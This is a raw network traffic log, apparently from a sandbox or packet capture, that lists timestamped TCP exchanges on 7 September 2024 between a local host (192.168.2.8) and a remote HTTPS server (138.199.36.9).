Sep 7, 2024 23:15:26.444468975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.444535971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.444535971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.444545984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.446424961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.446444035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.446505070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.446505070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.446513891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.491905928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.533011913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.533035040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.533082962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.533237934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.533237934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.533261061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.533494949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.533509016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.533574104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.533574104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.533582926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.534384012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.534400940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.535450935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.535465956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.535521030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.535521030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.535530090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.536617994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.536638021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.536688089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.536688089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.536696911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.537641048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.537655115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.537714005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.537714005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.537720919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.538193941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.538208961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.538263083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.538263083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.538270950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.538496971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.538764000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.538780928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.542757988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.542768955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.546250105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.622101068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.622123003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.622174025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.622215986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.622270107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.622293949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.622344971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.622946024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.622963905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.623027086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.623037100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.623980999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.624001026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.624082088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.624090910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.625026941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.625040054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.625129938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.625138044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.626569986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.626588106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.626651049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.626660109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.626939058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.626957893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.626990080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.626998901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.627032995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.627589941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.627609015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.627680063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.627681017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.627688885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.675461054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.710309982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.710331917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.710470915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.710496902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.710611105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.710854053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.710869074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.710941076 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.710948944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.710999012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.711361885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.711376905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.711467981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.711474895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.711520910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.712409973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.712430000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.712487936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.712496996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.712532043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.713327885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.713351011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.713386059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.713393927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.713417053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.713434935 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.714854002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.714870930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.714915037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.714921951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.714955091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.715235949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.715251923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.715298891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.715306044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.715337992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.716028929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.716042995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.716093063 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.716099977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.716129065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.798901081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.798919916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799002886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.799038887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799078941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.799360037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799376011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799448013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.799448013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.799458981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799495935 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.799773932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799787998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799837112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.799844980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.799890041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.800914049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.800930023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.801136017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.801147938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.801223040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.801923037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.801937103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.801973104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.801981926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.802004099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.802018881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.803311110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.803328991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.803379059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.803388119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.803421974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.803780079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.803795099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.803844929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.803853989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.803886890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.804478884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.804513931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.804543972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.804552078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.804574013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.804589987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894380093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894397974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894450903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894500971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894546986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894565105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894794941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894809961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894846916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894848108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894870996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894880056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894891977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894908905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894917011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894932032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894948006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.894969940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.894984961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895024061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895030975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895051956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895056963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895082951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895085096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895096064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895111084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895145893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895246983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895262957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895307064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895314932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895347118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895392895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895407915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895443916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895451069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895483017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895741940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895756960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895804882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.895811081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.895843983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.982996941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983020067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983102083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.983138084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983180046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.983236074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983253002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983309031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.983316898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983356953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.983484983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983500004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983555079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.983563900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.983603954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984067917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984085083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984138012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984149933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984173059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984193087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984200001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984208107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984225988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984272003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984577894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984596014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984648943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984658957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984690905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.984941959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.984956026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.985008955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.985014915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.985055923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.985174894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.985189915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.985245943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.985253096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.985295057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.071810007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.071829081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.071876049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.071882963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.071903944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.071933985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.071968079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.072068930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072082043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072123051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.072134018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072149992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.072455883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072474003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072508097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.072515965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072540998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.072772026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072783947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072822094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.072829008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.072849035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.073009968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073030949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073060036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.073066950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073086023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.073467016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073478937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073530912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.073539019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073931932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073950052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.073977947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.073985100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.074007988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.128432035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.160145044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160164118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160270929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.160311937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160353899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.160612106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160626888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160667896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160689116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.160701036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.160722017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.160758018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.161003113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161016941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161063910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.161073923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161514044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161533117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161564112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.161572933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161588907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.161712885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161726952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161771059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.161780119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161912918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161931038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161958933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.161967039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.161984921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.162482023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.162493944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.162553072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.162564039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.163687944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.248625040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.248653889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.248742104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.248774052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.248811007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.248990059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249022961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249073982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.249083042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.249114037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.249440908 CEST	443	49706	138.199.36.9	192.168.2.8
